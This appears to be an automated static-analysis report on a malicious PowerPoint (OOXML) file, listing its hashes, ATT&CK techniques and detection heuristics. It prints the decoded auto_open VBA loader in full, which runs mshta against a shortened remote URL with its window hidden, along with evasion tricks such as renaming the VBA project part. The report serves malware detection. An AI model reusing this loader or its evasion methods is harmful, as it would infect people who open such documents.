Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bde48026da531da2…

MALICIOUS

Office (OOXML)

10.4 KB First seen: 2021-10-05
MD5: 9546f93016dab5eca6f66194e2a6bc40 SHA-1: 3001bb2f270c8d3f5febdc0f8fa8b10f65f5c49b SHA-256: bde48026da531da2960b2fb57f23976fbb31ce7c36134997fe57b10697be899f
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains an obfuscated VBA macro within an auto_open subroutine. This macro constructs a URL by concatenating strings and then uses GetObject to execute it, likely downloading and running a second-stage payload. The obfuscation and use of CreateObject/GetObject for execution are indicative of malicious intent.

Heuristics 7

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/vbAA.b)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1708 bytes
SHA-256: 35533007f82e2d0e34c9456bd2a376f195defe5a20db8355fe1fbca5d466fdeb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub auto_open()

Dim obj As New Class3

obj.initiate


End Sub


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function Exec()

Set Exec = GetObject(StrReverse("8BFA88B42489-24A8-B834-A07D-5DD42C27:wen"))


End Function





Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Public Function GetName(list2 As Object)

Set list2 = CreateObject("System.Collections.ArrayList")

Dim Lola As String
list2.Add "m"
list2.Add "sht"
list2.Add "a http://"
list2.Add "bit.ly/asdasdqwreresdasd"
Lola = Join(list2.ToArray, "")

GetName = StrReverse(StrReverse(Lola))





End Function


Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function initiate()



Dim SsMon As New Class1
Dim obj3 As New Class2
Dim newobj As Object





obj3.GetName newobj


SS = newobj(0) + newobj(1) + newobj(2) + newobj(3)


SsMon.Exec.Run SS, 0

 

End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbAA.b 28160 bytes
SHA-256: 28ce9caa19cb88ecbc4be90b599ca7a5c90990438be05ba6f662d1307354a392

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